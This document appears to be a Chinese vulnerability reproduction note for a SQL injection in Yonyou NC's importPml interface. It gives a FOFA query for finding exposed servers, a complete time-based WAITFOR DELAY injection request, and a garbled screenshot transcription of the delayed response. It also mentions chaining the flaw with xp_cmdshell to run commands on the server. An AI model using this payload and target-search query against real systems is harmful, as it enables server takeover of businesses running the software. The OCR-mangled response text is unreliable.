Y4-76用友-NC-SOL

漏洞描述:

用友NC importPml接口存在SQL注入漏洞,攻击者通过利用SQL注入漏洞配合数据库xp cmdshell可以执行任意命令,从而控制服务器。经过分析与研判,该漏洞利用难度低,建议尽快修复。

用友网络科技股份有限公司-NC version<=6.5

网站图片:









连接

与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动手级

体验 UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

icon_hash="1085941792" && body="/logo/images/logo.gif

漏洞复现:

payload:

POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1 Host: your-ip Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryH970hbttBhoCyj9V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Connection: close

-----WebKitFormBoundaryH970hbttBhoCyj9V Content-Disposition: form-data; name="Filedata"; filename="1.jpg" Content-Type: image/jpeg

<?xml version="1.0" encoding="UTF-8"?>
<page template="adminonerow" version="101" i18nname="admin-00001" visibility="0" isdefault="true" skin="webclassic" level="0" linkgroup="0000z0100000000002" order
</page>
------WebKitFormBoundaryH970hbttBhoCyj9V--

效果图: 延时5秒

Responses 14hyd / 5057ms 〈 〉 数据包扫描 美化 热加载 构造请求 Request 1 POST·/portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'---HTTP/1.1 HTTP/1.1-200-0K Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C18F452EA441A72E44 ${\bf Content-Type: `multipart/form-data; `boundary=----WebKitFormBoundaryH970hbttBhoCyj9Variation of the content of the conten$ User-Agent: Mozilla/5.0 (Windows NT-10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ X-UA-Compatible: IE=8,9,10 4 123.0.0.0 Safari/537.36 Content-Type: text/html;charset=UTF-8 Connection: close Date: Tue, 09 Apr 2024 07:19:29 GMT Connection: close Content-Length: 14 -----WebKitFormBoundaryH970hbttBhoCyj9V Content-Disposition: form-data; name="Filedata"; filename="1.jpg" Import failed. Content-Type: image/jpeg 11 <?xml·version="1.0" encoding="UTF-8"?> <page template="adminonerow" version="101" i18nname="admin-00001" visibility="0" </pre> 12 isdefault="true"·skin="webclassic"·level="0"··linkgroup="0000z010000000000000"··ordernum="15">